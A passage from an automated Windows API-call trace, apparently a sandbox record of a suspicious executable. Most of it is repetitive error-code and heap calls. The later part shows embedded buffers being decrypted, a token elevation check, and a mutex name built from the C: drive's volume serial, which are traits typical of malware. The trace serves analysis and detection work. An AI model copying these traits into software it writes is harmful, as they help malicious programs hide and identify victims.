(dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.741] SetLastError (dwErrCode=0x0) [0132.741] GetLastError () returned 0x0 [0132.742] SetLastError (dwErrCode=0x0) [0132.742] GetLastError () returned 0x0 [0132.742] SetLastError (dwErrCode=0x0) [0132.742] GetLastError () returned 0x0 [0132.742] SetLastError (dwErrCode=0x0) [0132.742] GetLastError () returned 0x0 [0132.742] SetLastError (dwErrCode=0x0) [0132.742] GetLastError () returned 0x0 [0132.742] SetLastError (dwErrCode=0x0) [0132.742] GetLastError () returned 0x0 [0132.742] SetLastError (dwErrCode=0x0) [0132.742] GetLastError () returned 0x0 [0132.742] SetLastError (dwErrCode=0x0) [0132.742] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.743] SetLastError (dwErrCode=0x0) [0132.743] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x6e) returned 0x1d1a08 [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.744] SetLastError (dwErrCode=0x0) [0132.744] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.745] SetLastError (dwErrCode=0x0) [0132.745] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.746] SetLastError (dwErrCode=0x0) [0132.746] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.747] GetLastError () returned 0x0 [0132.747] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.748] GetLastError () returned 0x0 [0132.748] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.749] SetLastError (dwErrCode=0x0) [0132.749] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.750] GetLastError () returned 0x0 [0132.750] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.751] GetLastError () returned 0x0 [0132.751] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.752] SetLastError (dwErrCode=0x0) [0132.752] GetLastError () returned 0x0 [0132.753] SetLastError (dwErrCode=0x0) [0132.753] GetLastError () returned 0x0 [0132.753] SetLastError (dwErrCode=0x0) [0132.753] GetLastError () returned 0x0 [0132.753] SetLastError (dwErrCode=0x0) [0132.753] GetLastError () returned 0x0 [0132.753] SetLastError (dwErrCode=0x0) [0132.753] GetLastError () returned 0x0 [0132.753] SetLastError (dwErrCode=0x0) [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x9c) returned 0x1d1a80 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1f) returned 0x1d1b28 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2b) returned 0x1d1b50 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x37) returned 0x1d1b88 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x3c) returned 0x1d1bc8 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x31) returned 0x1d1c10 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d1c50 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x24) returned 0x1d1c70 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x14) returned 0x1d1ca0 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xd) returned 0x1d1cc0 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1a) returned 0x1d1cd8 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2e) returned 0x1d1d00 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x19) returned 0x1d1d38 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x17) returned 0x1d1d60 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xe) returned 0x1d1d80 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xce) returned 0x1d1d98 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x3e) returned 0x1d1e70 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1b) returned 0x1d1eb8 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1d) returned 0x1d1ee0 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x48) returned 0x1d1f08 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x12) returned 0x1d1f58 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d1f78 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1b) returned 0x1d1f98 [0132.753] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x24) returned 0x1d1fc0 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x29) returned 0x1d1ff0 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d2028 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x6b) returned 0x1d2050 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x17) returned 0x1d20c8 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x14) returned 0x1d20e8 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xf) returned 0x1d2108 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x16) returned 0x1d2120 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2a) returned 0x1d2140 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x29) returned 0x1d2178 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x16) returned 0x1d21b0 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x13) returned 0x1d21d0 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1f) returned 0x1d21f0 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x12) returned 0x1d2218 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d2238 [0132.754] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x46) returned 0x1d2258 [0132.761] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d11f8 | out: hHeap=0x1d0000) returned 1 [0132.850] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0132.850] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1d11f8 [0132.850] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xad81f6) returned 0x0 [0132.851] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1d11f8) returned 0x80 [0132.851] GetLastError () returned 0x0 [0132.851] SetLastError (dwErrCode=0x0) [0132.851] GetLastError () returned 0x0 [0132.851] SetLastError (dwErrCode=0x0) [0132.851] GetLastError () returned 0x0 [0132.851] SetLastError (dwErrCode=0x0) [0132.851] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetLastError () returned 0x0 [0132.852] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.853] SetLastError (dwErrCode=0x0) [0132.853] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] GetLastError () returned 0x0 [0132.854] SetLastError (dwErrCode=0x0) [0132.855] GetLastError () returned 0x0 [0132.855] SetLastError (dwErrCode=0x0) [0132.855] GetLastError () returned 0x0 [0132.855] SetLastError (dwErrCode=0x0) [0132.855] GetLastError () returned 0x0 [0132.855] SetLastError (dwErrCode=0x0) [0132.855] GetLastError () returned 0x0 [0132.855] SetLastError (dwErrCode=0x0) [0132.855] GetLastError () returned 0x0 [0132.855] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x30) returned 0x1d1280 [0132.855] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x2d40) returned 0x1d22a8 [0132.855] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x174) returned 0x1d12b8 [0132.855] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d1438 [0132.855] CryptAcquireContextW (in: phProv=0xadfcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xadfcf0*=0x8450c0) returned 1 [0132.943] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef768*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef7d0 | out: phKey=0x3ef7d0*=0x845068) returned 1 [0132.956] CryptSetKeyParam (hKey=0x845068, dwParam=0x1, pbData=0x3ef7b8, dwFlags=0x0) returned 1 [0132.956] CryptDecrypt (in: hKey=0x845068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1438, pdwDataLen=0x3ef784 | out: pbData=0x1d1438, pdwDataLen=0x3ef784) returned 1 [0132.958] CryptDestroyKey (hKey=0x845068) returned 1 [0132.958] GetTickCount () returned 0x76f2 [0132.958] GetLastError () returned 0x0 [0132.958] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x3ef7f4, cchData=32 | out: lpLCData="\x03") returned 16 [0132.959] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1c) returned 0x1d1450 [0132.959] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1c) returned 0x1d1478 [0132.959] GetVersion () returned 0x1db10106 [0132.959] GetCurrentProcess () returned 0xffffffff [0132.959] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3ef7dc | out: TokenHandle=0x3ef7dc*=0x84) returned 1 [0132.959] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x3ef7d4, TokenInformationLength=0x4, ReturnLength=0x3ef7d8 | out: TokenInformation=0x3ef7d4, ReturnLength=0x3ef7d8) returned 1 [0132.959] CloseHandle (hObject=0x84) returned 1 [0132.960] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d14a0 [0132.960] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef738 | out: phKey=0x3ef738*=0x8454d8) returned 1 [0132.960] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x3ef720, dwFlags=0x0) returned 1 [0132.960] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef6ec | out: pbData=0x1d14a0, pdwDataLen=0x3ef6ec) returned 1 [0132.960] CryptDestroyKey (hKey=0x8454d8) returned 1 [0132.960] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d14c8 [0132.960] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14f0 [0132.960] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1518 [0132.960] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef710 | out: phKey=0x3ef710*=0x8454d8) returned 1 [0132.960] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x3ef6f8, dwFlags=0x0) returned 1 [0132.960] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1518, pdwDataLen=0x3ef6c4 | out: pbData=0x1d1518, pdwDataLen=0x3ef6c4) returned 1 [0132.960] CryptDestroyKey (hKey=0x8454d8) returned 1 [0132.960] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1518 | out: hHeap=0x1d0000) returned 1 [0132.961] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0132.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14f0 | out: hHeap=0x1d0000) returned 1 [0132.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0132.962] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3ef778, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3ef778*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.962] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14c8 | out: hHeap=0x1d0000) returned 1 [0132.962] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d14a0 [0132.963] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef704*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef76c | out: phKey=0x3ef76c*=0x8454d8) returned 1 [0132.963] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x3ef754, dwFlags=0x0) returned 1 [0132.963] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef720 | out: pbData=0x1d14a0, pdwDataLen=0x3ef720) returned 1 [0132.963] CryptDestroyKey (hKey=0x8454d8) returned 1 [0132.963] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d14e8 [0132.963] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0132.963] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x88 [0132.963] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0132.963] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0132.964] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14e8 | out: hHeap=0x1d0000) returned 1 [0132.964] ReleaseMutex (hMutex=0x88) returned 1 [0132.964] CloseHandle (hObject=0x88) returned 1 [0132.964] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d14a0 [0132.964] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6e4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef74c | out: phKey=0x3ef74c*=0x8454d8) returned 1 [0132.964] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x3ef734, dwFlags=0x0) returned 1 [0132.964] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef700 | out: pbData=0x1d14a0, pdwDataLen=0x3ef700) returned 1 [0132.964] CryptDestroyKey (hKey=0x8454d8) returned 1 [0132.964] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d14c8 [0132.964] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14f0 [0132.964] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1518 [0132.964] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef724 | out: phKey=0x3ef724*=0x8454d8) returned 1 [0132.964] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x3ef70c, dwFlags=0x0) returned 1 [0132.964] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1518, pdwDataLen=0x3ef6d8 | out: pbData=0x1d1518, pdwDataLen=0x3ef6d8) returned 1 [0132.964] CryptDestroyKey (hKey=0x8454d8) returned 1 [0132.964] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1518 | out: hHeap=0x1d0000) returned 1 [0132.965] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0132.965] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14f0 | out: hHeap=0x1d0000) returned 1 [0132.965] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0132.965] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3ef78c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3ef78c*=0x8443a5af, 